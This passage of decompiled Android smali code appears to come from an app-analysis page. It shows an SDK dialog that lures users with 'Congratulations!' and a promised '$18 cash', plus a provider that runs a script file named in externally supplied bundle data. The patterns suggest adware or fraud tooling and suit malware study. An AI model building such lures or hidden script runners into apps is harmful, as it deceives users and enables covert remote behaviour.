                              42invoke-direct {v2, v3, v4}, Landroid/widget/LinearLayout$LayoutParams;-><init>(II)V
                              44invoke-virtual {v1, v2}, Landroid/widget/RelativeLayout;->setLayoutParams(Landroid/view/ViewGroup$LayoutParams;)V
                              45sget v2, Landroid/os/Build$VERSION;->SDK_INT:I
                              46const/16 v3, 0x10
                              47if-ge v2, v3, :cond_186
                              49invoke-static {p0, v11}, Lcom/omgSdk/andoclib/b;->b(Landroid/content/Context;F)I
                              50move-result v2
                              51int-to-float v2, v2
                              53invoke-static {v2, v12, v5, v10}, Lcom/omgSdk/andoclib/b;->b(FIII)Landroid/graphics/drawable/GradientDrawable;
                              54move-result-object v2
                              56invoke-virtual {v1, v2}, Landroid/widget/RelativeLayout;->setBackgroundDrawable(Landroid/graphics/drawable/Drawable;)V
                              57goto_57: new-instance v2, Landroid/widget/TextView;
                              59invoke-direct {v2, p0}, Landroid/widget/TextView;-><init>(Landroid/content/Context;)V
                              60sput-object v2, Lcom/omgSdk/andoclib/b;->e:Landroid/widget/TextView;
                              61new-instance v2, Landroid/view/View;
                              63invoke-direct {v2, p0}, Landroid/view/View;-><init>(Landroid/content/Context;)V
                              64new-instance v3, Landroid/widget/TextView;
                              66invoke-direct {v3, p0}, Landroid/widget/TextView;-><init>(Landroid/content/Context;)V
                              67new-instance v4, Lcom/omgSdk/andoclib/b$b;
                              69invoke-direct {v4, p0}, Lcom/omgSdk/andoclib/b$b;-><init>(Landroid/content/Context;)V
                              70const/high16 v5, 0x40a00000 # 5.0f
                              72invoke-static {p0, v5}, Lcom/omgSdk/andoclib/b;->b(Landroid/content/Context;F)I
                              73move-result v5
                              74new-instance v6, Landroid/widget/RelativeLayout$LayoutParams;
                              76invoke-direct {v6, v13, v13}, Landroid/widget/RelativeLayout$LayoutParams;-><init>(II)V
                              78invoke-virtual {v6, v5, v5, v5, v5}, Landroid/widget/RelativeLayout$LayoutParams;->setMargins(IIII)V
                              79const/16 v7, 0xa
                              81invoke-virtual {v6, v7}, Landroid/widget/RelativeLayout$LayoutParams;->addRule(I)V
                              82const/16 v7, 0xe
                              84invoke-virtual {v6, v7, v10}, Landroid/widget/RelativeLayout$LayoutParams;->addRule(II)V
                              86invoke-static {p0}, Lcom/omgSdk/andoclib/e;->b(Landroid/content/Context;)Lcom/omgSdk/andoclib/e$a;
                              87move-result-object v7
                              89const-string/jumbo v8, "guideTitle"
                              91const-string/jumbo v9, "Congratulations!"
                              93invoke-interface {v7, v8, v9}, Lcom/omgSdk/andoclib/e$a;->a(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                              94move-result-object v7
                              96sget-object v8, Lcom/omgSdk/andoclib/b;->e:Landroid/widget/TextView;
                              98invoke-virtual {v8, v7}, Landroid/widget/TextView;->setText(Ljava/lang/CharSequence;)V
                              100sget-object v7, Lcom/omgSdk/andoclib/b;->e:Landroid/widget/TextView;
                              101const v8, 0x1d4c0
                              103invoke-virtual {v7, v8}, Landroid/widget/TextView;->setId(I)V
                              105sget-object v7, Lcom/omgSdk/andoclib/b;->e:Landroid/widget/TextView;
                              106const/high16 v8, -0x1000000
                              108invoke-virtual {v7, v8}, Landroid/widget/TextView;->setTextColor(I)V
                              110sget-object v7, Lcom/omgSdk/andoclib/b;->e:Landroid/widget/TextView;
                              111const/high16 v8, 0x41a00000 # 20.0f
                              113invoke-virtual {v7, v8}, Landroid/widget/TextView;->setTextSize(F)V
                              115sget-object v7, Lcom/omgSdk/andoclib/b;->e:Landroid/widget/TextView;
                              117invoke-virtual {v7}, Landroid/widget/TextView;->getPaint()Landroid/text/TextPaint;
                              118move-result-object v7
                              120invoke-virtual {v7, v12}, Landroid/text/TextPaint;->setFakeBoldText(Z)V
                              122sget-object v7, Lcom/omgSdk/andoclib/b;->e:Landroid/widget/TextView;
                              124invoke-virtual {v7, v5, v5, v5, v5}, Landroid/widget/TextView;->setPadding(IIII)V
                              126sget-object v7, Lcom/omgSdk/andoclib/b;->e:Landroid/widget/TextView;
                              127const/16 v8, 0x11
                              129invoke-virtual {v7, v8}, Landroid/widget/TextView;->setGravity(I)V
                              131sget-object v7, Lcom/omgSdk/andoclib/b;->e:Landroid/widget/TextView;
                              133invoke-virtual {v1, v7, v6}, Landroid/widget/RelativeLayout;->addView(Landroid/view/View;Landroid/view/ViewGroup$LayoutParams;)V
                              134const v6, -0xd35303
                              136invoke-virtual {v2, v6}, Landroid/view/View;->setBackgroundColor(I)V
                              137new-instance v6, Landroid/widget/RelativeLayout$LayoutParams;
                              138const/high16 v7, 0x3f800000 # 1.0f
                              140invoke-static {p0, v7}, Lcom/omgSdk/andoclib/b;->b(Landroid/content/Context;F)I
                              141move-result v7
                              143invoke-direct {v6, v10, v7}, Landroid/widget/RelativeLayout$LayoutParams;-><init>(II)V
                              144const/4 v7, 0x3
                              145const v8, 0x1d4c0
                              147invoke-virtual {v6, v7, v8}, Landroid/widget/RelativeLayout$LayoutParams;->addRule(II)V
                              148const v7, 0x1d4c1
                              150invoke-virtual {v2, v7}, Landroid/view/View;->setId(I)V
                              152invoke-virtual {v1, v2, v6}, Landroid/widget/RelativeLayout;->addView(Landroid/view/View;Landroid/view/ViewGroup$LayoutParams;)V
                              154invoke-static {p0}, Lcom/omgSdk/andoclib/e;->b(Landroid/content/Context;)Lcom/omgSdk/andoclib/e$a;
                              155move-result-object v2
                              157const-string/jumbo v6, "guideContent"
                              159const-string/jumbo v7, "Please click continue, $18 cash is waiting for you!"
                              161invoke-interface {v2, v6, v7}, Lcom/omgSdk/andoclib/e$a;->a(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                              162move-result-object v2
                              164invoke-virtual {v3, v2}, Landroid/widget/TextView;->setText(Ljava/lang/CharSequence;)V
                              165const/high16 v2, 0x41900000 # 18.0f
                              167invoke-virtual {v3, v2}, Landroid/widget/TextView;->setTextSize(F)V
                              168const/high16 v2, -0x1000000
                              170invoke-virtual {v3, v2}, Landroid/widget/TextView;->setTextColor(I)V
                              171const/high16 v2, 0x41400000 # 12.0f
                              173invoke-static {p0, v2}, Lcom/omgSdk/andoclib/b;->b(Landroid/content/Context;F)I
                              174move-result v2
                              175const/high16 v6, 0x41400000 # 12.0f
                              177invoke-static {p0, v6}, Lcom/omgSdk/andoclib/b;->b(Landroid/content/Context;F)I
                              178move-result v6
                              180invoke-virtual {v3, v2, v5, v6, v5}, Landroid/widget/TextView;->setPadding(IIII)V
                              181const/16 v2, 0x31
                              183invoke-virtual {v3, v2}, Landroid/widget/TextView;->setGravity(I)V
                              185sget-object v2, Landroid/text/TextUtils$TruncateAt;->END:Landroid/text/TextUtils$TruncateAt;
                              187invoke-virtual {v3, v2}, Landroid/widget/TextView;->setEllipsize(Landroid/text/TextUtils$TruncateAt;)V
                              188const/4 v2, 0x2
                              190invoke-virtual {v3, v2}, Landroid/widget/TextView;->setMaxLines(I)V
                              191new-instance v2, Landroid/widget/RelativeLayout$LayoutParams;
                              193invoke-direct {v2, v13, v13}, Landroid/widget/RelativeLayout$LayoutParams;-><init>(II)V
                              195invoke-virtual {v2, v5, v5, v5, v5}, Landroid/widget/RelativeLayout$LayoutParams;->setMargins(IIII)V
                              196const/4 v6, 0x3
                              197const v7, 0x1d4c1
                              199invoke-virtual {v2, v6, v7}, Landroid/widget/RelativeLayout$LayoutParams;->addRule(II)V
                              200const/16 v6, 0xd
                              202invoke-virtual {v2, v6, v10}, Landroid/widget/RelativeLayout$LayoutParams;->addRule(II)V
                              204invoke-virtual {v1, v3, v2}, Landroid/widget/RelativeLayout;->addView(Landroid/view/View;Landroid/view/ViewGroup$LayoutParams;)V
                              205new-instance v2, Lcom/omgSdk/andoclib/b$2;
                              207invoke-direct {v2}, Lcom/omgSdk/andoclib/b$2;-><init>()V
                              209invoke-virtual {v4, v2}, Lcom/omgSdk/andoclib/b$b;->setOnClickListener(Landroid/view/View$OnClickListener;)V
                              210new-instance v2, Landroid/widget/RelativeLayout$LayoutParams;
                              211const/high16 v3, 0x42c80000 # 100.0f
                              213invoke-static {p0, v3}, Lcom/omgSdk/andoclib/b;->b(Landroid/content/Context;F)I
                              214move-result v3
                              215const/high16 v6, 0x42200000 # 40.0f
                              217invoke-static {p0, v6}, Lcom/omgSdk/andoclib/b;->b(Landroid/content/Context;F)I
                              218move-result v6
                              220invoke-direct {v2, v3, v6}, Landroid/widget/RelativeLayout$LayoutParams;-><init>(II)V
                              222invoke-static {p0, v11}, Lcom/omgSdk/andoclib/b;->b(Landroid/content/Context;F)I
                              223move-result v3
                              225invoke-static {p0, v11}, Lcom/omgSdk/andoclib/b;->b(Landroid/content/Context;F)I
                              226move-result v6
                              227const/high16 v7, 0x41c80000 # 25.0f
                              229invoke-static {p0, v7}, Lcom/omgSdk/andoclib/b;->b(Landroid/content/Context;F)I
                              230move-result v7
                              232invoke-virtual {v2, v3, v5, v6, v7}, Landroid/widget/RelativeLayout$LayoutParams;->setMargins(IIII)V
                              233const/16 v3, 0xc
                              235invoke-virtual {v2, v3}, Landroid/widget/RelativeLayout$LayoutParams;->addRule(I)V
                              236const/16 v3, 0xf
                              238invoke-virtual {v2, v3, v10}, Landroid/widget/RelativeLayout$LayoutParams;->addRule(II)V
                              239const/16 v3, 0xe
                              241invoke-virtual {v2, v3, v10}, Landroid/widget/RelativeLayout$LayoutParams;->addRule(II)V
                              243invoke-virtual {v1, v4, v2}, Landroid/widget/RelativeLayout;->addView(Landroid/view/View;Landroid/view/ViewGroup$LayoutParams;)V
                              245invoke-virtual {v0, v1}, Lcom/omgSdk/andoclib/b$a;->addView(Landroid/view/View;)V
                              246return-object v0
                              247cond_178:
                              248invoke-static {p0, v11}, Lcom/omgSdk/andoclib/b;->b(Landroid/content/Context;F)I
                              249move-result v1
                              250int-to-float v1, v1
                              252invoke-static {v1, v12, v5, v10}, Lcom/omgSdk/andoclib/b;->b(FIII)Landroid/graphics/drawable/GradientDrawable;
                              253move-result-object v1
                              255invoke-virtual {v0, v1}, Lcom/omgSdk/andoclib/b$a;->setBackground(Landroid/graphics/drawable/Drawable;)V
                              256goto/16 :goto_2c
                              257cond_186:
                              258invoke-static {p0, v11}, Lcom/omgSdk/andoclib/b;->b(Landroid/content/Context;F)I
                              259move-result v2
                              260int-to-float v2, v2
                              262invoke-static {v2, v12, v5, v10}, Lcom/omgSdk/andoclib/b;->b(FIII)Landroid/graphics/drawable/GradientDrawable;
                              263move-result-object v2
                              265invoke-virtual {v1, v2}, Landroid/widget/RelativeLayout;->setBackground(Landroid/graphics/drawable/Drawable;)V
                              266goto/16 :goto_57
                              Cross References
                              APIs
                              • android.os.Bundle.getLong
                              • java.lang.Long.valueOf
                              • android.os.Bundle.getString
                              • android.os.Bundle.getString
                              • android.os.Bundle.getInt
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • android.os.Bundle.getStringArrayList
                              • java.util.HashMap.<init>
                              • java.util.ArrayList.size
                              • java.util.ArrayList.size
                              • java.util.ArrayList.get
                              • java.util.ArrayList.get
                              • java.util.Map.put
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.lang.Object.toString
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • android.os.Bundle.getString
                              • java.lang.String.equals
                              • java.io.File.<init>
                              • java.io.File.exists
                              • java.lang.Long.longValue
                              • android.os.Bundle.putString
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • com.core.model.VirtualOpenProvider$3.<init>
                              • com.omg.event.PlayController.<init>
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • com.omg.event.PlayController.start
                              Strings
                              • EventJSExistTime
                              • EventJSPath
                              • EventJSUrl
                              • EventJSType
                              • eventJSPath11
                              • EventJSData
                              • eventJSDataMap
                              • pkg
                              • path
                              • 11
                              • start do script eventJSPath
                              • EventJS_
                              • eventJSExistTime
                              • no script do before
                              • 14
                              Position Instruction Meta Information
                              0.prologue
                              2iget-object v0, p0, Lcom/core/model/VirtualOpenProvider;->bundle:Landroid/os/Bundle;
                              4const-string v1, "EventJSExistTime"
                              6invoke-virtual {v0, v1}, Landroid/os/Bundle;->getLong(Ljava/lang/String;)J
                              7move-result-wide v0
                              9invoke-static {v0, v1}, Ljava/lang/Long;->valueOf(J)Ljava/lang/Long;
                              10move-result-object v1
                              12iget-object v0, p0, Lcom/core/model/VirtualOpenProvider;->bundle:Landroid/os/Bundle;
                              14const-string v2, "EventJSPath"
                              16invoke-virtual {v0, v2}, Landroid/os/Bundle;->getString(Ljava/lang/String;)Ljava/lang/String;
                              17move-result-object v2
                              19iget-object v0, p0, Lcom/core/model/VirtualOpenProvider;->bundle:Landroid/os/Bundle;
                              21const-string v3, "EventJSUrl"
                              23invoke-virtual {v0, v3}, Landroid/os/Bundle;->getString(Ljava/lang/String;)Ljava/lang/String;
                              24move-result-object v3
                              26iget-object v0, p0, Lcom/core/model/VirtualOpenProvider;->bundle:Landroid/os/Bundle;
                              28const-string v4, "EventJSType"
                              30invoke-virtual {v0, v4}, Landroid/os/Bundle;->getInt(Ljava/lang/String;)I
                              32iget-object v0, p0, Lcom/core/model/VirtualOpenProvider;->context:Landroid/content/Context;
                              33new-instance v4, Ljava/lang/StringBuilder;
                              35invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
                              37const-string v5, "eventJSPath11 "
                              39invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              40move-result-object v4
                              42invoke-virtual {v4, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              43move-result-object v4
                              45invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              46move-result-object v4
                              48invoke-static {v0, v4}, Lcom/core/model/h;->b(Landroid/content/Context;Ljava/lang/String;)V
                              50iget-object v0, p0, Lcom/core/model/VirtualOpenProvider;->bundle:Landroid/os/Bundle;
                              52const-string v4, "EventJSData"
                              54invoke-virtual {v0, v4}, Landroid/os/Bundle;->getStringArrayList(Ljava/lang/String;)Ljava/util/ArrayList;
                              55move-result-object v4
                              56new-instance v5, Ljava/util/HashMap;
                              58invoke-direct {v5}, Ljava/util/HashMap;-><init>()V
                              59if-eqz v4, :cond_69
                              61invoke-virtual {v4}, Ljava/util/ArrayList;->size()I
                              62move-result v0
                              63rem-int/lit8 v0, v0, 0x2
                              64if-nez v0, :cond_69
                              65const/4 v0, 0x0
                              66goto_53:
                              67invoke-virtual {v4}, Ljava/util/ArrayList;->size()I
                              68move-result v6
                              69if-ge v0, v6, :cond_69
                              71invoke-virtual {v4, v0}, Ljava/util/ArrayList;->get(I)Ljava/lang/Object;
                              72move-result-object v6
                              73add-int/lit8 v7, v0, 0x1
                              75invoke-virtual {v4, v7}, Ljava/util/ArrayList;->get(I)Ljava/lang/Object;
                              76move-result-object v7
                              78invoke-interface {v5, v6, v7}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                              79add-int/lit8 v0, v0, 0x2
                              80goto/16 :goto_53
                              81cond_69:
                              82iget-object v0, p0, Lcom/core/model/VirtualOpenProvider;->context:Landroid/content/Context;
                              83new-instance v4, Ljava/lang/StringBuilder;
                              85invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
                              87const-string v6, "eventJSDataMap "
                              89invoke-virtual {v4, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              90move-result-object v4
                              92invoke-virtual {v5}, Ljava/lang/Object;->toString()Ljava/lang/String;
                              93move-result-object v6
                              95invoke-virtual {v4, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              96move-result-object v4
                              98invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              99move-result-object v4
                              101invoke-static {v0, v4}, Lcom/core/model/h;->a(Landroid/content/Context;Ljava/lang/String;)V
                              103iget-object v0, p0, Lcom/core/model/VirtualOpenProvider;->bundle:Landroid/os/Bundle;
                              105const-string v4, "pkg"
                              107invoke-virtual {v0, v4}, Landroid/os/Bundle;->getString(Ljava/lang/String;)Ljava/lang/String;
                              108move-result-object v0
                              109if-eqz v2, :cond_11c
                              111const-string v4, ""
                              113invoke-virtual {v4, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                              114move-result v4
                              115if-nez v4, :cond_11c
                              116new-instance v4, Ljava/io/File;
                              118invoke-direct {v4, v2}, Ljava/io/File;-><init>(Ljava/lang/String;)V
                              120invoke-virtual {v4}, Ljava/io/File;->exists()Z
                              121move-result v4
                              122if-eqz v4, :cond_11c
                              123iget-boolean v4, p0, Lcom/core/model/VirtualOpenProvider;->appIsShowFlag:Z
                              124if-nez v4, :cond_11c
                              126iget-object v4, p0, Lcom/core/model/VirtualOpenProvider;->context:Landroid/content/Context;
                              128const-string v6, "EventJSExistTime"
                              130invoke-virtual {v1}, Ljava/lang/Long;->longValue()J
                              131move-result-wide v8
                              133invoke-static {v4, v6, v8, v9}, Lcom/core/model/k;->a(Landroid/content/Context;Ljava/lang/String;J)V
                              135iget-object v4, p0, Lcom/core/model/VirtualOpenProvider;->bundle:Landroid/os/Bundle;
                              137const-string v6, "path"
                              139invoke-virtual {v4, v6, v3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                              141iget-object v6, p0, Lcom/core/model/VirtualOpenProvider;->context:Landroid/content/Context;
                              143const-string v7, "11"
                              145invoke-direct {p0, v6, v4, v7}, Lcom/core/model/VirtualOpenProvider;->sendPoint(Landroid/content/Context;Landroid/os/Bundle;Ljava/lang/String;)V
                              147iget-object v4, p0, Lcom/core/model/VirtualOpenProvider;->context:Landroid/content/Context;
                              148new-instance v6, Ljava/lang/StringBuilder;
                              150invoke-direct {v6}, Ljava/lang/StringBuilder;-><init>()V
                              152const-string v7, "start do script eventJSPath "
                              154invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              155move-result-object v6
                              157invoke-virtual {v6, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              158move-result-object v6
                              160invoke-virtual {v6}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              161move-result-object v6
                              163invoke-static {v4, v6}, Lcom/core/model/h;->a(Landroid/content/Context;Ljava/lang/String;)V
                              165iget-object v4, p0, Lcom/core/model/VirtualOpenProvider;->context:Landroid/content/Context;
                              166new-instance v6, Ljava/lang/StringBuilder;
                              168invoke-direct {v6}, Ljava/lang/StringBuilder;-><init>()V
                              170const-string v7, "EventJS_"
                              172invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              173move-result-object v6
                              175invoke-virtual {v6, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              176move-result-object v6
                              178invoke-virtual {v6}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              179move-result-object v6
                              180const/4 v7, 0x1
                              182invoke-static {v4, v6, v7}, Lcom/core/model/k;->a(Landroid/content/Context;Ljava/lang/String;Z)V
                              183new-instance v4, Lcom/omg/event/PlayController;
                              185iget-object v6, p0, Lcom/core/model/VirtualOpenProvider;->context:Landroid/content/Context;
                              186new-instance v7, Lcom/core/model/VirtualOpenProvider$3;
                              188invoke-direct {v7, p0, v5, v0, v3}, Lcom/core/model/VirtualOpenProvider$3;-><init>(Lcom/core/model/VirtualOpenProvider;Ljava/util/Map;Ljava/lang/String;Ljava/lang/String;)V
                              190invoke-direct {v4, v6, v7}, Lcom/omg/event/PlayController;-><init>(Landroid/content/Context;Lcom/omg/crevent/IPlayCallback;)V
                              191iput-object v4, p0, Lcom/core/model/VirtualOpenProvider;->playController:Lcom/omg/event/PlayController;
                              193iget-object v0, p0, Lcom/core/model/VirtualOpenProvider;->context:Landroid/content/Context;
                              194new-instance v3, Ljava/lang/StringBuilder;
                              196invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
                              198const-string v4, "eventJSExistTime "
                              200invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              201move-result-object v3
                              203invoke-virtual {v3, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
                              204move-result-object v1
                              206invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              207move-result-object v1
                              209invoke-static {v0, v1}, Lcom/core/model/h;->a(Landroid/content/Context;Ljava/lang/String;)V
                              211iget-object v0, p0, Lcom/core/model/VirtualOpenProvider;->playController:Lcom/omg/event/PlayController;
                              213invoke-virtual {v0, v2}, Lcom/omg/event/PlayController;->start(Ljava/lang/String;)V
                              214goto_11b: return-void
                              215cond_11c:
                              216iget-object v0, p0, Lcom/core/model/VirtualOpenProvider;->context:Landroid/content/Context;
                              218const-string v1, "EventJSExistTime"
                              219const-wide/16 v2, 0x0
                              221invoke-static {v0, v1, v2, v3}, Lcom/core/model/k;->a(Landroid/content/Context;Ljava/lang/String;J)V
                              223iget-object v0, p0, Lcom/core/model/VirtualOpenProvider;->context:Landroid/content/Context;
                              225const-string v1, "no script do before"
                              227invoke-static {v0, v1}, Lcom/core/model/h;->a(Landroid/content/Context;Ljava/lang/String;)V
                              229iget-object v0, p0, Lcom/core/model/VirtualOpenProvider;->context:Landroid/content/Context;
                              231iget-object v1, p0, Lcom/core/model/VirtualOpenProvider;->bundle:Landroid/os/Bundle;
                              233const-string v2, "14"
                              235invoke-direct {p0, v0, v1, v2}, Lcom/core/model/VirtualOpenProvider;->sendPoint(Landroid/content/Context;Landroid/os/Bundle;Ljava/lang/String;)V
                              236goto/16 :goto_11b
                              Cross References
                              APIs
                              • java.lang.String.length
                              • java.lang.Throwable.getStackTrace
                              • java.lang.String.substring
                              • android.util.Log.d
                              • java.lang.String.substring
                              • android.util.Log.i
                              • java.lang.String.substring
                              • android.util.Log.e
                              • java.lang.String.substring
                              • android.util.Log.v
                              • java.lang.String.substring
                              • android.util.Log.w
                              • java.lang.String.substring
                              • android.util.Log.d
                              • java.lang.String.substring
                              • android.util.Log.i
                              • java.lang.String.substring
                              • android.util.Log.e
                              • java.lang.String.substring
                              • android.util.Log.v
                              • java.lang.String.substring
                              • android.util.Log.w
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.lang.StackTraceElement.toString
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • android.util.Log.d
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.lang.StackTraceElement.toString
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • android.util.Log.i
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.lang.StackTraceElement.toString
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • android.util.Log.e
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.lang.StackTraceElement.toString
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • android.util.Log.v
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.lang.StackTraceElement.toString
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • android.util.Log.w
                              Strings
                              • \t\tat\t
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v1, 0x0
                              3invoke-virtual {p2}, Ljava/lang/String;->length()I
                              4move-result v5
                              5sget v0, Lb/a/aw;->c:I
                              6move v2, v1
                              7move v3, v0
                              8move v0, v1
                              9goto_a: const/16 v4, 0x64
                              10if-ge v2, v4, :cond_54
                              11if-le v5, v3, :cond_51
                              12packed-switch p0, :pswitch_data_110
                              13goto_13: sget v0, Lb/a/aw;->c:I
                              14add-int v4, v3, v0
                              15if-eqz p3, :cond_108
                              17invoke-virtual {p3}, Ljava/lang/Throwable;->getStackTrace()[Ljava/lang/StackTraceElement;
                              18move-result-object v6
                              19array-length v7, v6
                              20move v0, v1
                              21goto_1f: if-ge v0, v7, :cond_108
                              22aget-object v8, v6, v0
                              23packed-switch p0, :pswitch_data_11e
                              24goto_26: add-int/lit8 v0, v0, 0x1
                              25goto/16 :goto_1f
                              26pswitch_29:
                              27invoke-virtual {p2, v0, v3}, Ljava/lang/String;->substring(II)Ljava/lang/String;
                              28move-result-object v0
                              30invoke-static {p1, v0}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
                              31goto/16 :goto_13
                              32pswitch_31:
                              33invoke-virtual {p2, v0, v3}, Ljava/lang/String;->substring(II)Ljava/lang/String;
                              34move-result-object v0
                              36invoke-static {p1, v0}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
                              37goto/16 :goto_13
                              38pswitch_39:
                              39invoke-virtual {p2, v0, v3}, Ljava/lang/String;->substring(II)Ljava/lang/String;
                              40move-result-object v0
                              42invoke-static {p1, v0}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
                              43goto/16 :goto_13
                              44pswitch_41:
                              45invoke-virtual {p2, v0, v3}, Ljava/lang/String;->substring(II)Ljava/lang/String;
                              46move-result-object v0
                              48invoke-static {p1, v0}, Landroid/util/Log;->v(Ljava/lang/String;Ljava/lang/String;)I
                              49goto/16 :goto_13
                              50pswitch_49:
                              51invoke-virtual {p2, v0, v3}, Ljava/lang/String;->substring(II)Ljava/lang/String;
                              52move-result-object v0
                              54invoke-static {p1, v0}, Landroid/util/Log;->w(Ljava/lang/String;Ljava/lang/String;)I
                              55goto/16 :goto_13
                              56cond_51: packed-switch p0, :pswitch_data_12c
                              57cond_54: return-void
                              58pswitch_55:
                              59invoke-virtual {p2, v0, v5}, Ljava/lang/String;->substring(II)Ljava/lang/String;
                              60move-result-object v0
                              62invoke-static {p1, v0}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
                              63goto/16 :goto_54
                              64pswitch_5d:
                              65invoke-virtual {p2, v0, v5}, Ljava/lang/String;->substring(II)Ljava/lang/String;
                              66move-result-object v0
                              68invoke-static {p1, v0}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
                              69goto/16 :goto_54
                              70pswitch_65:
                              71invoke-virtual {p2, v0, v5}, Ljava/lang/String;->substring(II)Ljava/lang/String;
                              72move-result-object v0
                              74invoke-static {p1, v0}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
                              75goto/16 :goto_54
                              76pswitch_6d:
                              77invoke-virtual {p2, v0, v5}, Ljava/lang/String;->substring(II)Ljava/lang/String;
                              78move-result-object v0
                              80invoke-static {p1, v0}, Landroid/util/Log;->v(Ljava/lang/String;Ljava/lang/String;)I
                              81goto/16 :goto_54
                              82pswitch_75:
                              83invoke-virtual {p2, v0, v5}, Ljava/lang/String;->substring(II)Ljava/lang/String;
                              84move-result-object v0
                              86invoke-static {p1, v0}, Landroid/util/Log;->w(Ljava/lang/String;Ljava/lang/String;)I
                              87goto/16 :goto_54
                              88pswitch_7d: new-instance v9, Ljava/lang/StringBuilder;
                              90invoke-direct {v9}, Ljava/lang/StringBuilder;-><init>()V
                              92const-string v10, "\t\tat\t"
                              94invoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              95move-result-object v9
                              97invoke-virtual {v8}, Ljava/lang/StackTraceElement;->toString()Ljava/lang/String;
                              98move-result-object v8
                              100invoke-virtual {v9, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              101move-result-object v8
                              103invoke-virtual {v8}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              104move-result-object v8
                              106invoke-static {p1, v8}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
                              107goto/16 :goto_26
                              108pswitch_98: new-instance v9, Ljava/lang/StringBuilder;
                              110invoke-direct {v9}, Ljava/lang/StringBuilder;-><init>()V
                              112const-string v10, "\t\tat\t"
                              114invoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              115move-result-object v9
                              117invoke-virtual {v8}, Ljava/lang/StackTraceElement;->toString()Ljava/lang/String;
                              118move-result-object v8
                              120invoke-virtual {v9, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              121move-result-object v8
                              123invoke-virtual {v8}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              124move-result-object v8
                              126invoke-static {p1, v8}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
                              127goto/16 :goto_26
                              128pswitch_b4: new-instance v9, Ljava/lang/StringBuilder;
                              130invoke-direct {v9}, Ljava/lang/StringBuilder;-><init>()V
                              132const-string v10, "\t\tat\t"
                              134invoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              135move-result-object v9
                              137invoke-virtual {v8}, Ljava/lang/StackTraceElement;->toString()Ljava/lang/String;
                              138move-result-object v8
